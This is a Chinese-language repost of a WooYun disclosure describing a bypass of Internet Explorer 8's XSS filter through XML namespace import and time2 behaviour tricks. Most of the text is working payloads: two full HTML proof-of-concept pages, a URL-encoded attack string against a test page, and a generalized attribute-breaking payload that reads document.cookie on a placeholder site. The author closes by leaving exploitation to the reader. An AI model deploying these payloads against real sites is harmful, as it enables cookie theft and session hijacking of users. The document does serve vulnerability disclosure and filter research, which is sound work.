IE 8 XSS 过滤器绕过。感谢@Sogili牛为本绕过通用性实现上提供的tricks。

pkav.net

1. 在IE8中,可以通过 <xml> <?import> + <t:set ..> 的方式来构成一个XSS vector。

在测试过程中发现, <?import> 同样可写为 <import>。

也就是说。下面的代码都可以运行JS代码。

<html>     
<body>     
<div>     
<div id="x">x</div>     
<?xml:namespace prefix="t">     
<?import namespace="t" implementation="#default#time2">     
<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">     
</div>     
</body>     
</html>
<html>     
<body>     
<div>     
<div id="x">x</div>     
<xml:namespace prefix="t">     
<import namespace="t" implementation="#default#time2">     
<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">     
</div>     
</body>     
</html>

2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter

测试例子如下:

http://xsst.sinaapp.com/example/1-1.php?page=<div id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;1%26%23x29;%26gt;>

如果用<?import..>,则会触发过滤器。

3. 当然,上面这个代码,只适用于 <HTML标签>{输出在这里}</HTML标签> 的情况。

我们经常会遇到类似 <input type="text" value="{输出在这里}"> 的情况。

这样一来,我们需要在代码前面加上 "> 来闭合HTML属性。

但是问题来啦, "> 会触发XSS过滤器,过滤掉我们代码中的敏感词。

@jackmasa (https://twitter.com/jackmasa),也就是我们乌云的 @Sogili 牛,给了一个绕过的tricks, "x> 就不会触发XSS过滤器了, x代表任意字母。 非常感谢。

这样一来,我们上面的代码可以进一步通用化。

http://www.xxxx.com/product.php?search="id=><div/id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;document.cookie%26%23x29;%26gt;>

4. 至于具体怎么利用,恩,大家自己看着办。

微软已经在IE10中修复了这个问题。将会在近期推出win7的IE10版本。 故IE8中应该不会修复了。

转自:http://www.wooyun.org/bugs/wooyun-2012-013883